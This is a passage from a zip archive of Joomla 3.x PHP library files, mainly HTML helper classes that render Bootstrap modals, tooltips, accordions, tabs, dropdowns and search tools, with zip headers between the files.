($debug === null) { $debug = JDEBUG; } JHtml::_('script', 'jui/bootstrap.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug)); static::$loaded[__METHOD__] = true; return; } /** * Add javascript support for Bootstrap modals * * @param string $selector The ID selector for the modal. * @param array $params An array of options for the modal. * Options for the modal can be: * - backdrop boolean Includes a modal-backdrop element. * - keyboard boolean Closes the modal when escape key is pressed. * - show boolean Shows the modal when initialized. * - remote string An optional remote URL to load * * @return void * * @since 3.0 * @deprecated 4.0 This method was used by the old renderModal() implementation. * Since the new implementation it is unneeded and the broken JS it was injecting could create issues * As a case, please see: https://github.com/joomla/joomla-cms/pull/6918 */ public static function modal($selector = 'modal', $params = array()) { $sig = md5(serialize(array($selector, $params))); if (!isset(static::$loaded[__METHOD__][$sig])) { // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Setup options object $opt['backdrop'] = isset($params['backdrop']) ? (boolean) $params['backdrop'] : true; $opt['keyboard'] = isset($params['keyboard']) ? (boolean) $params['keyboard'] : true; $opt['show'] = isset($params['show']) ? (boolean) $params['show'] : false; $opt['remote'] = isset($params['remote']) ? $params['remote'] : ''; $options = JHtml::getJSObject($opt); // Attach the modal to document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ $(' . json_encode('#' . $selector) . ').modal(' . $options . '); });' ); // Set static array static::$loaded[__METHOD__][$sig] = true; } return; } /** * Method to render a Bootstrap modal * * @param string $selector The ID selector for the modal. * @param array $params An array of options for the modal. * Options for the modal can be: * - title string The modal title * - backdrop mixed A boolean select if a modal-backdrop element should be included (default = true) * The string 'static' includes a backdrop which doesn't close the modal on click. * - keyboard boolean Closes the modal when escape key is pressed (default = true) * - closeButton boolean Display modal close button (default = true) * - animation boolean Fade in from the top of the page (default = true) * - footer string Optional markup for the modal footer * - url string URL of a resource to be inserted as an `<iframe>` inside the modal body * - height string height of the `<iframe>` containing the remote resource * - width string width of the `<iframe>` containing the remote resource * @param string $body Markup for the modal body. Appended after the `<iframe>` if the URL option is set * * @return string HTML markup for a modal * * @since 3.0 */ public static function renderModal($selector = 'modal', $params = array(), $body = '') { // Include Bootstrap framework JHtml::_('bootstrap.framework'); $layoutData = array( 'selector' => $selector, 'params' => $params, 'body' => $body, ); return JLayoutHelper::render('joomla.modal.main', $layoutData); } /** * Add javascript support for Bootstrap popovers * * Use element's Title as popover content * * @param string $selector Selector for the popover * @param array $params An array of options for the popover. * Options for the popover can be: * animation boolean apply a css fade transition to the popover * html boolean Insert HTML into the popover. If false, jQuery's text method will be used to insert * content into the dom. * placement string|function how to position the popover - top | bottom | left | right * selector string If a selector is provided, popover objects will be delegated to the specified targets. * trigger string how popover is triggered - hover | focus | manual * title string|function default title value if `title` tag isn't present * content string|function default content value if `data-content` attribute isn't present * delay number|object delay showing and hiding the popover (ms) - does not apply to manual trigger type * If a number is supplied, delay is applied to both hide/show * Object structure is: delay: { show: 500, hide: 100 } * container string|boolean Appends the popover to a specific element: { container: 'body' } * * @return void * * @since 3.0 */ public static function popover($selector = '.hasPopover', $params = array()) { // Only load once if (isset(static::$loaded[__METHOD__][$selector])) { return; } // Include Bootstrap framework JHtml::_('bootstrap.framework'); $opt['animation'] = isset($params['animation']) ? $params['animation'] : null; $opt['html'] = isset($params['html']) ? $params['html'] : true; $opt['placement'] = isset($params['placement']) ? $params['placement'] : null; $opt['selector'] = isset($params['selector']) ? $params['selector'] : null; $opt['title'] = isset($params['title']) ? $params['title'] : null; $opt['trigger'] = isset($params['trigger']) ? $params['trigger'] : 'hover focus'; $opt['content'] = isset($params['content']) ? $params['content'] : null; $opt['delay'] = isset($params['delay']) ? $params['delay'] : null; $opt['container'] = isset($params['container']) ? $params['container'] : 'body'; $options = JHtml::getJSObject($opt); $initFunction = 'function initPopovers (event, container) { ' . '$(container || document).find(' . json_encode($selector) . ').popover(' . $options . ');' . '}'; // Attach the popover to the document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ initPopovers(); $("body").on("subform-row-add", initPopovers); ' . $initFunction . ' });' ); static::$loaded[__METHOD__][$selector] = true; return; } /** * Add javascript support for Bootstrap ScrollSpy * * @param string $selector The ID selector for the ScrollSpy element. * @param array $params An array of options for the ScrollSpy. * Options for the ScrollSpy can be: * - offset number Pixels to offset from top when calculating position of scroll. * * @return void * * @since 3.0 */ public static function scrollspy($selector = 'navbar', $params = array()) { $sig = md5(serialize(array($selector, $params))); if (!isset(static::$loaded[__METHOD__][$sig])) { // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Setup options object $opt['offset'] = isset($params['offset']) ? (int) $params['offset'] : 10; $options = JHtml::getJSObject($opt); // Attach ScrollSpy to document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ $(' . json_encode('#' . $selector) . ').scrollspy(' . $options . '); });' ); // Set static array static::$loaded[__METHOD__][$sig] = true; } return; } /** * Add javascript support for Bootstrap tooltips * * Add a title attribute to any element in the form * title="title::text" * * @param string $selector The ID selector for the tooltip. * @param array $params An array of options for the tooltip. * Options for the tooltip can be: * - animation boolean Apply a CSS fade transition to the tooltip * - html boolean Insert HTML into the tooltip. If false, jQuery's text method will be used to insert * content into the dom. * - placement string|function How to position the tooltip - top | bottom | left | right * - selector string If a selector is provided, tooltip objects will be delegated to the specified targets. * - title string|function Default title value if `title` tag isn't present * - trigger string How tooltip is triggered - hover | focus | manual * - delay integer Delay showing and hiding the tooltip (ms) - does not apply to manual trigger type * If a number is supplied, delay is applied to both hide/show * Object structure is: delay: { show: 500, hide: 100 } * - container string|boolean Appends the popover to a specific element: { container: 'body' } * * @return void * * @since 3.0 */ public static function tooltip($selector = '.hasTooltip', $params = array()) { if (!isset(static::$loaded[__METHOD__][$selector])) { // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Setup options object $opt['animation'] = isset($params['animation']) ? (boolean) $params['animation'] : null; $opt['html'] = isset($params['html']) ? (boolean) $params['html'] : true; $opt['placement'] = isset($params['placement']) ? (string) $params['placement'] : null; $opt['selector'] = isset($params['selector']) ? (string) $params['selector'] : null; $opt['title'] = isset($params['title']) ? (string) $params['title'] : null; $opt['trigger'] = isset($params['trigger']) ? (string) $params['trigger'] : null; $opt['delay'] = isset($params['delay']) ? (is_array($params['delay']) ? $params['delay'] : (int) $params['delay']) : null; $opt['container'] = isset($params['container']) ? $params['container'] : 'body'; $opt['template'] = isset($params['template']) ? (string) $params['template'] : null; $onShow = isset($params['onShow']) ? (string) $params['onShow'] : null; $onShown = isset($params['onShown']) ? (string) $params['onShown'] : null; $onHide = isset($params['onHide']) ? (string) $params['onHide'] : null; $onHidden = isset($params['onHidden']) ? (string) $params['onHidden'] : null; $options = JHtml::getJSObject($opt); // Build the script. $script = array('$(container).find(' . json_encode($selector) . ').tooltip(' . $options . ')'); if ($onShow) { $script[] = 'on("show.bs.tooltip", ' . $onShow . ')'; } if ($onShown) { $script[] = 'on("shown.bs.tooltip", ' . $onShown . ')'; } if ($onHide) { $script[] = 'on("hide.bs.tooltip", ' . $onHide . ')'; } if ($onHidden) { $script[] = 'on("hidden.bs.tooltip", ' . $onHidden . ')'; } $initFunction = 'function initTooltips (event, container) { ' . 'container = container || document;' . implode('.', $script) . ';' . '}'; // Attach tooltips to document JFactory::getDocument() ->addScriptDeclaration('jQuery(function($){ initTooltips(); $("body").on("subform-row-add", initTooltips); ' . $initFunction . ' });'); // Set static array static::$loaded[__METHOD__][$selector] = true; } return; } /** * Loads js and css files needed by Bootstrap Tooltip Extended plugin * * @param boolean $extended If true, bootstrap-tooltip-extended.js and .css files are loaded * * @return void * * @since 3.6 * * @deprecated 4.0 No replacement, use Bootstrap tooltips. */ public static function tooltipExtended($extended = true) { if ($extended) { JHtml::_('script', 'jui/bootstrap-tooltip-extended.min.js', array('version' => 'auto', 'relative' => true)); JHtml::_('stylesheet', 'jui/bootstrap-tooltip-extended.css', array('version' => 'auto', 'relative' => true)); } } /** * Add javascript support for Bootstrap typeahead * * @param string $selector The selector for the typeahead element. * @param array $params An array of options for the typeahead element. * Options for the tooltip can be: * - source array, function The data source to query against. May be an array of strings or a function. * The function is passed two arguments, the query value in the input field and the * process callback. The function may be used synchronously by returning the data * source directly or asynchronously via the process callback's single argument. * - items number The max number of items to display in the dropdown. * - minLength number The minimum character length needed before triggering autocomplete suggestions * - matcher function The method used to determine if a query matches an item. Accepts a single argument, * the item against which to test the query. Access the current query with this.query. * Return a boolean true if query is a match. * - sorter function Method used to sort autocomplete results. Accepts a single argument items and has * the scope of the typeahead instance. Reference the current query with this.query. * - updater function The method used to return selected item. Accepts a single argument, the item and * has the scope of the typeahead instance. * - highlighter function Method used to highlight autocomplete results. Accepts a single argument item and * has the scope of the typeahead instance. Should return html. * * @return void * * @since 3.0 * * @deprecated 4.0 Bootstrap 4.0 dropped this so will Joomla. */ public static function typeahead($selector = '.typeahead', $params = array()) { if (!isset(static::$loaded[__METHOD__][$selector])) { // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Setup options object $opt['source'] = isset($params['source']) ? $params['source'] : null; $opt['items'] = isset($params['items']) ? (int) $params['items'] : 8; $opt['minLength'] = isset($params['minLength']) ? (int) $params['minLength'] : 1; $opt['matcher'] = isset($params['matcher']) ? (string) $params['matcher'] : null; $opt['sorter'] = isset($params['sorter']) ? (string) $params['sorter'] : null; $opt['updater'] = isset($params['updater']) ? (string) $params['updater'] : null; $opt['highlighter'] = isset($params['highlighter']) ? (int) $params['highlighter'] : null; $options = JHtml::getJSObject($opt); // Attach typehead to document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ $(' . json_encode($selector) . ').typeahead(' . $options . '); });' ); // Set static array static::$loaded[__METHOD__][$selector] = true; } return; } /** * Add javascript support for Bootstrap accordions and insert the accordion * * @param string $selector The ID selector for the tooltip. * @param array $params An array of options for the tooltip. * Options for the tooltip can be: * - parent selector If selector then all collapsible elements under the specified parent will be closed when this * collapsible item is shown. (similar to traditional accordion behavior) * - toggle boolean Toggles the collapsible element on invocation * - active string Sets the active slide during load * * - onShow function This event fires immediately when the show instance method is called. * - onShown function This event is fired when a collapse element has been made visible to the user * (will wait for css transitions to complete). * - onHide function This event is fired immediately when the hide method has been called. * - onHidden function This event is fired when a collapse element has been hidden from the user * (will wait for css transitions to complete). * * @return string HTML for the accordian * * @since 3.0 */ public static function startAccordion($selector = 'myAccordian', $params = array()) { if (!isset(static::$loaded[__METHOD__][$selector])) { // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Setup options object $opt['parent'] = isset($params['parent']) ? ($params['parent'] == true ? '#' . $selector : $params['parent']) : false; $opt['toggle'] = isset($params['toggle']) ? (boolean) $params['toggle'] : !($opt['parent'] === false || isset($params['active'])); $onShow = isset($params['onShow']) ? (string) $params['onShow'] : null; $onShown = isset($params['onShown']) ? (string) $params['onShown'] : null; $onHide = isset($params['onHide']) ? (string) $params['onHide'] : null; $onHidden = isset($params['onHidden']) ? (string) $params['onHidden'] : null; $options = JHtml::getJSObject($opt); $opt['active'] = isset($params['active']) ? (string) $params['active'] : ''; // Build the script. $script = array(); $script[] = "jQuery(function($){"; $script[] = "\t$('#" . $selector . "').collapse(" . $options . ")"; if ($onShow) { $script[] = "\t.on('show', " . $onShow . ")"; } if ($onShown) { $script[] = "\t.on('shown', " . $onShown . ")"; } if ($onHide) { $script[] = "\t.on('hideme', " . $onHide . ")"; } if ($onHidden) { $script[] = "\t.on('hidden', " . $onHidden . ")"; } $parents = array_key_exists(__METHOD__, static::$loaded) ? array_filter(array_column(static::$loaded[__METHOD__], 'parent')) : array(); if ($opt['parent'] && empty($parents)) { $script[] = " $(document).on('click.collapse.data-api', '[data-toggle=collapse]', function (e) { var \$this = $(this), href var parent = \$this.attr('data-parent') var \$parent = parent && $(parent) if (\$parent) \$parent.find('[data-toggle=collapse][data-parent=' + parent + ']').not(\$this).addClass('collapsed') })"; } $script[] = "});"; // Attach accordion to document JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Set static array static::$loaded[__METHOD__][$selector] = $opt; return '<div id="' . $selector . '" class="accordion">'; } } /** * Close the current accordion * * @return string HTML to close the accordian * * @since 3.0 */ public static function endAccordion() { return '</div>'; } /** * Begins the display of a new accordion slide. * * @param string $selector Identifier of the accordion group. * @param string $text Text to display. * @param string $id Identifier of the slide. * @param string $class Class of the accordion group. * * @return string HTML to add the slide * * @since 3.0 */ public static function addSlide($selector, $text, $id, $class = '') { $in = (static::$loaded[__CLASS__ . '::startAccordion'][$selector]['active'] == $id) ? ' in' : ''; $collapsed = (static::$loaded[__CLASS__ . '::startAccordion'][$selector]['active'] == $id) ? '' : ' collapsed'; $parent = static::$loaded[__CLASS__ . '::startAccordion'][$selector]['parent'] ? ' data-parent="' . static::$loaded[__CLASS__ . '::startAccordion'][$selector]['parent'] . '"' : ''; $class = (!empty($class)) ? ' ' . $class : ''; $html = '<div class="accordion-group' . $class . '">' . '<div class="accordion-heading">' . '<strong><a href="#' . $id . '" data-toggle="collapse"' . $parent . ' class="accordion-toggle' . $collapsed . '">' . $text . '</a></strong>' . '</div>' . '<div class="accordion-body collapse' . $in . '" id="' . $id . '">' . '<div class="accordion-inner">'; return $html; } /** * Close the current slide * * @return string HTML to close the slide * * @since 3.0 */ public static function endSlide() { return '</div></div></div>'; } /** * Creates a tab pane * * @param string $selector The pane identifier. * @param array $params The parameters for the pane * * @return string * * @since 3.1 */ public static function startTabSet($selector = 'myTab', $params = array()) { $sig = md5(serialize(array($selector, $params))); if (!isset(static::$loaded[__METHOD__][$sig])) { // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Setup options object $opt['active'] = (isset($params['active']) && $params['active']) ? (string) $params['active'] : ''; // Attach tabs to document JFactory::getDocument() ->addScriptDeclaration(JLayoutHelper::render('libraries.cms.html.bootstrap.starttabsetscript', array('selector' => $selector))); // Set static array static::$loaded[__METHOD__][$sig] = true; static::$loaded[__METHOD__][$selector]['active'] = $opt['active']; } return JLayoutHelper::render('libraries.cms.html.bootstrap.starttabset', array('selector' => $selector)); } /** * Close the current tab pane * * @return string HTML to close the pane * * @since 3.1 */ public static function endTabSet() { return JLayoutHelper::render('libraries.cms.html.bootstrap.endtabset'); } /** * Begins the display of a new tab content panel. * * @param string $selector Identifier of the panel. * @param string $id The ID of the div element * @param string $title The title text for the new UL tab * * @return string HTML to start a new panel * * @since 3.1 */ public static function addTab($selector, $id, $title) { static $tabScriptLayout = null; static $tabLayout = null; $tabScriptLayout = $tabScriptLayout === null ? new JLayoutFile('libraries.cms.html.bootstrap.addtabscript') : $tabScriptLayout; $tabLayout = $tabLayout === null ? new JLayoutFile('libraries.cms.html.bootstrap.addtab') : $tabLayout; $active = (static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active'] == $id) ? ' active' : ''; // Inject tab into UL JFactory::getDocument() ->addScriptDeclaration($tabScriptLayout->render(array('selector' => $selector, 'id' => $id, 'active' => $active, 'title' => $title))); return $tabLayout->render(array('id' => $id, 'active' => $active)); } /** * Close the current tab content panel * * @return string HTML to close the pane * * @since 3.1 */ public static function endTab() { return JLayoutHelper::render('libraries.cms.html.bootstrap.endtab'); } /** * Creates a tab pane * * @param string $selector The pane identifier. * @param array $params The parameters for the pane * * @return string * * @since 3.0 * @deprecated 4.0 Use JHtml::_('bootstrap.startTabSet') instead. */ public static function startPane($selector = 'myTab', $params = array()) { $sig = md5(serialize(array($selector, $params))); if (!isset(static::$loaded['JHtmlBootstrap::startTabSet'][$sig])) { // Include Bootstrap framework JHtml::_('bootstrap.framework'); // Setup options object $opt['active'] = isset($params['active']) ? (string) $params['active'] : ''; // Attach tab to document JFactory::getDocument()->addScriptDeclaration( 'jQuery(function($){ $(' . json_encode('#' . $selector . ' a') . ').click(function (e) { e.preventDefault(); $(this).tab("show"); }); });' ); // Set static array static::$loaded['JHtmlBootstrap::startTabSet'][$sig] = true; static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active'] = $opt['active']; } return '<div class="tab-content" id="' . $selector . 'Content">'; } /** * Close the current tab pane * * @return string HTML to close the pane * * @since 3.0 * @deprecated 4.0 Use JHtml::_('bootstrap.endTabSet') instead. */ public static function endPane() { return '</div>'; } /** * Begins the display of a new tab content panel. * * @param string $selector Identifier of the panel. * @param string $id The ID of the div element * * @return string HTML to start a new panel * * @since 3.0 * @deprecated 4.0 Use JHtml::_('bootstrap.addTab') instead. */ public static function addPanel($selector, $id) { $active = (static::$loaded['JHtmlBootstrap::startTabSet'][$selector]['active'] == $id) ? ' active' : ''; return '<div id="' . $id . '" class="tab-pane' . $active . '">'; } /** * Close the current tab content panel * * @return string HTML to close the pane * * @since 3.0 * @deprecated 4.0 Use JHtml::_('bootstrap.endTab') instead. */ public static function endPanel() { return '</div>'; } /** * Loads CSS files needed by Bootstrap * * @param boolean $includeMainCss If true, main bootstrap.css files are loaded * @param string $direction rtl or ltr direction. If empty, ltr is assumed * @param array $attribs Optional array of attributes to be passed to JHtml::_('stylesheet') * * @return void * * @since 3.0 */ public static function loadCss($includeMainCss = true, $direction = 'ltr', $attribs = array()) { // Load Bootstrap main CSS if ($includeMainCss) { JHtml::_('stylesheet', 'jui/bootstrap.min.css', array('version' => 'auto', 'relative' => true), $attribs); JHtml::_('stylesheet', 'jui/bootstrap-responsive.min.css', array('version' => 'auto', 'relative' => true), $attribs); JHtml::_('stylesheet', 'jui/bootstrap-extended.css', array('version' => 'auto', 'relative' => true), $attribs); } // Load Bootstrap RTL CSS if ($direction === 'rtl') { JHtml::_('stylesheet', 'jui/bootstrap-rtl.css', array('version' => 'auto', 'relative' => true), $attribs); } } } PK���\��3�bbcms/html/actionsdropdown.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * HTML utility class for building a dropdown menu * * @since 3.2 */ abstract class JHtmlActionsDropdown { /** * @var string HTML markup for the dropdown list * @since 3.2 */ protected static $dropDownList = array(); /** * Method to render current dropdown menu * * @param string $item An item to render. * * @return string HTML markup for the dropdown list * * @since 3.2 */ public static function render($item = '') { $html = array(); $html[] = '<button data-toggle="dropdown" class="dropdown-toggle btn btn-micro">'; $html[] = '<span class="caret"></span>'; if ($item) { $html[] = '<span class="element-invisible">' . JText::sprintf('JACTIONS', $item) . '</span>'; } $html[] = '</button>'; $html[] = '<ul class="dropdown-menu">'; $html[] = implode('', static::$dropDownList); $html[] = '</ul>'; static::$dropDownList = null; return implode('', $html); } /** * Append a publish item to the current dropdown menu * * @param string $id ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.2 */ public static function publish($id, $prefix = '') { $task = ($prefix ? $prefix . '.' : '') . 'publish'; static::addCustomItem(JText::_('JTOOLBAR_PUBLISH'), 'publish', $id, $task); } /** * Append an unpublish item to the current dropdown menu * * @param string $id ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.2 */ public static function unpublish($id, $prefix = '') { $task = ($prefix ? $prefix . '.' : '') . 'unpublish'; static::addCustomItem(JText::_('JTOOLBAR_UNPUBLISH'), 'unpublish', $id, $task); } /** * Append a feature item to the current dropdown menu * * @param string $id ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.2 */ public static function feature($id, $prefix = '') { $task = ($prefix ? $prefix . '.' : '') . 'featured'; static::addCustomItem(JText::_('JFEATURE'), 'featured', $id, $task); } /** * Append an unfeature item to the current dropdown menu * * @param string $id ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.2 */ public static function unfeature($id, $prefix = '') { $task = ($prefix ? $prefix . '.' : '') . 'unfeatured'; static::addCustomItem(JText::_('JUNFEATURE'), 'unfeatured', $id, $task); } /** * Append an archive item to the current dropdown menu * * @param string $id ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.2 */ public static function archive($id, $prefix = '') { $task = ($prefix ? $prefix . '.' : '') . 'archive'; static::addCustomItem(JText::_('JTOOLBAR_ARCHIVE'), 'archive', $id, $task); } /** * Append an unarchive item to the current dropdown menu * * @param string $id ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.2 */ public static function unarchive($id, $prefix = '') { $task = ($prefix ? $prefix . '.' : '') . 'unpublish'; static::addCustomItem(JText::_('JTOOLBAR_UNARCHIVE'), 'unarchive', $id, $task); } /** * Append a duplicate item to the current dropdown menu * * @param string $id ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.2 */ public static function duplicate($id, $prefix = '') { $task = ($prefix ? $prefix . '.' : '') . 'duplicate'; static::addCustomItem(JText::_('JTOOLBAR_DUPLICATE'), 'copy', $id, $task); } /** * Append a trash item to the current dropdown menu * * @param string $id ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.2 */ public static function trash($id, $prefix = '') { $task = ($prefix ? $prefix . '.' : '') . 'trash'; static::addCustomItem(JText::_('JTOOLBAR_TRASH'), 'trash', $id, $task); } /** * Append an untrash item to the current dropdown menu * * @param string $id ID of corresponding checkbox of the record * @param string $prefix The task prefix * * @return void * * @since 3.2 */ public static function untrash($id, $prefix = '') { self::publish($id, $prefix); } /** * Writes a divider between dropdown items * * @return void * * @since 3.0 */ public static function divider() { static::$dropDownList[] = '<li class="divider"></li>'; } /** * Append a custom item to current dropdown menu. * * @param string $label The label of the item. * @param string $icon The icon classname. * @param string $id The item id. * @param string $task The task. * * @return void * * @since 3.2 */ public static function addCustomItem($label, $icon = '', $id = '', $task = '') { static::$dropDownList[] = '<li>' . '<a href = "javascript://" onclick="listItemTask(\'' . $id . '\', \'' . $task . '\')">' . ($icon ? '<span class="icon-' . $icon . '" aria-hidden="true"></span> ' : '') . $label . '</a>' . '</li>'; } } PK���\g}T���cms/html/searchtools.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Searchtools elements. * * @since 3.2 */ abstract class JHtmlSearchtools { /** * @var array Array containing information for loaded files * @since 3.2 */ protected static $loaded = array(); /** * Load the main Searchtools libraries * * @return void * * @since 3.2 */ public static function main() { // Only load once if (empty(static::$loaded[__METHOD__])) { // Requires jQuery but allows to skip its loading if ($loadJquery = (!isset($options['loadJquery']) || $options['loadJquery'] != 0)) { JHtml::_('jquery.framework'); } // Load the jQuery plugin && CSS JHtml::_('script', 'jui/jquery.searchtools.min.js', array('version' => 'auto', 'relative' => true)); JHtml::_('stylesheet', 'jui/jquery.searchtools.css', array('version' => 'auto', 'relative' => true)); static::$loaded[__METHOD__] = true; } return; } /** * Load searchtools for a specific form * * @param mixed $selector Is debugging mode on? [optional] * @param array $options Optional array of parameters for search tools * * @return void * * @since 3.2 */ public static function form($selector = '.js-stools-form', $options = array()) { $sig = md5(serialize(array($selector, $options))); // Only load once if (!isset(static::$loaded[__METHOD__][$sig])) { // Include Bootstrap framework static::main(); // Add the form selector to the search tools options $options['formSelector'] = $selector; // Generate options with default values $options = static::optionsToRegistry($options); $doc = JFactory::getDocument(); $script = " (function($){ $(document).ready(function() { $('" . $selector . "').searchtools( " . $options->toString() . " ); }); })(jQuery); "; $doc->addScriptDeclaration($script); static::$loaded[__METHOD__][$sig] = true; } return; } /** * Function to receive & pre-process javascript options * * @param mixed $options Associative array/Registry object with options * * @return Registry Options converted to Registry object */ private static function optionsToRegistry($options) { // Support options array if (is_array($options)) { $options = new Registry($options); } if (!($options instanceof Registry)) { $options = new Registry; } return $options; } /** * Method to sort a column in a grid * * @param string $title The link title * @param string $order The order field for the column * @param string $direction The current direction * @param mixed $selected The selected ordering * @param string $task An optional task override * @param string $newDirection An optional direction for the new column * @param string $tip An optional text shown as tooltip title instead of $title * @param string $icon Icon to show * @param string $formName Name of the form to submit * * @return string */ public static function sort($title, $order, $direction = 'asc', $selected = 0, $task = null, $newDirection = 'asc', $tip = '', $icon = null, $formName = 'adminForm') { $direction = strtolower($direction); $orderIcons = array('icon-arrow-up-3', 'icon-arrow-down-3'); $index = (int) ($direction === 'desc'); if ($order !== $selected) { $direction = $newDirection; } else { $direction = $direction === 'desc' ? 'asc' : 'desc'; } // Create an object to pass it to the layouts $data = new stdClass; $data->order = $order; $data->direction = $direction; $data->selected = $selected; $data->task = $task; $data->tip = $tip; $data->title = $title; $data->orderIcon = $orderIcons[$index]; $data->icon = $icon; $data->formName = $formName; return JLayoutHelper::render('joomla.searchtools.grid.sort', $data); } } PK���\�d,�::+cms/html/language/en-GB/en-GB.jhtmldate.ininu�[���; Joomla! Project ; (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> ; License GNU General Public License version 2 or later; see LICENSE.txt ; Note : All ini files need to be saved as UTF-8 JLIB_HTML_DATE_RELATIVE_DAYS="%s days ago" JLIB_HTML_DATE_RELATIVE_DAYS_1="%s day ago" JLIB_HTML_DATE_RELATIVE_DAYS_0="%s days ago" JLIB_HTML_DATE_RELATIVE_HOURS="%s hours ago" JLIB_HTML_DATE_RELATIVE_HOURS_1="%s hour ago" JLIB_HTML_DATE_RELATIVE_HOURS_0="%s hours ago" JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Less than a minute ago" JLIB_HTML_DATE_RELATIVE_MINUTES="%s minutes ago" JLIB_HTML_DATE_RELATIVE_MINUTES_1="%s minute ago" JLIB_HTML_DATE_RELATIVE_MINUTES_0="%s minutes ago" JLIB_HTML_DATE_RELATIVE_WEEKS="%s weeks ago" JLIB_HTML_DATE_RELATIVE_WEEKS_1="%s week ago" JLIB_HTML_DATE_RELATIVE_WEEKS_0="%s weeks ago" PK���\��� cms/html/icons.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class for icons. * * @since 2.5 */ abstract class JHtmlIcons { /** * Method to generate html code for a list of buttons * * @param array $buttons Array of buttons * * @return string * * @since 2.5 */ public static function buttons($buttons) { $html = array(); foreach ($buttons as $button) { $html[] = JHtml::_('icons.button', $button); } return implode($html); } /** * Method to generate html code for a list of buttons * * @param array $button Button properties * * @return string * * @since 2.5 */ public static function button($button) { if (isset($button['access'])) { if (is_bool($button['access'])) { if ($button['access'] == false) { return ''; } } else { // Get the user object to verify permissions $user = JFactory::getUser(); // Take each pair of permission, context values. for ($i = 0, $n = count($button['access']); $i < $n; $i += 2) { if (!$user->authorise($button['access'][$i], $button['access'][$i + 1])) { return ''; } } } } // Instantiate a new JLayoutFile instance and render the layout $layout = new JLayoutFile('joomla.quickicons.icon'); return $layout->render($button); } } PK���\ 4֑�cms/html/tabs.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class for Tabs elements. * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ abstract class JHtmlTabs { /** * Creates a panes and creates the JavaScript object for it. * * @param string $group The pane identifier. * @param array $params An array of option. * * @return string * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ public static function start($group = 'tabs', $params = array()) { static::loadBehavior($group, $params); return '<dl class="tabs" id="' . $group . '"><dt style="display:none;"></dt><dd style="display:none;">'; } /** * Close the current pane * * @return string HTML to close the pane * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ public static function end() { return '</dd></dl>'; } /** * Begins the display of a new panel. * * @param string $text Text to display. * @param string $id Identifier of the panel. * * @return string HTML to start a new panel * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ public static function panel($text, $id) { return '</dd><dt class="tabs ' . $id . '"><span><h3><a href="javascript:void(0);">' . $text . '</a></h3></span></dt><dd class="tabs">'; } /** * Load the JavaScript behavior. * * @param string $group The pane identifier. * @param array $params Array of options. * * @return void * * @since 1.6 * @deprecated 3.7.0 These helpers are dependent on the deprecated MooTools support */ protected static function loadBehavior($group, $params = array()) { static $loaded = array(); if (!array_key_exists((string) $group, $loaded)) { // Include MooTools framework JHtml::_('behavior.framework', true); $opt['onActive'] = isset($params['onActive']) ? '\\' . $params['onActive'] : null; $opt['onBackground'] = isset($params['onBackground']) ? '\\' . $params['onBackground'] : null; $opt['display'] = isset($params['startOffset']) ? (int) $params['startOffset'] : null; $opt['titleSelector'] = 'dt.tabs'; $opt['descriptionSelector'] = 'dd.tabs'; // When use storage is set and value is false - By default we allow to use storage $opt['useStorage'] = !(isset($params['useCookie']) && !$params['useCookie']); $options = JHtml::getJSObject($opt); $js = ' window.addEvent(\'domready\', function(){ $$(\'dl#' . $group . '.tabs\').each(function(tabs){ new JTabs(tabs, ' . $options . '); }); });'; $document = JFactory::getDocument(); $document->addScriptDeclaration($js); JHtml::_('script', 'system/tabs.js', array('version' => 'auto', 'relative' => true)); $loaded[(string) $group] = true; } } } PK���\-+Z[c&c&cms/html/menu.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class working with menu select lists * * @since 1.5 */ abstract class JHtmlMenu { /** * Cached array of the menus. * * @var array * @since 1.6 */ protected static $menus = array(); /** * Cached array of the menus items. * * @var array * @since 1.6 */ protected static $items = array(); /** * Get a list of the available menus. * * @param int $clientId The client id * * @return array 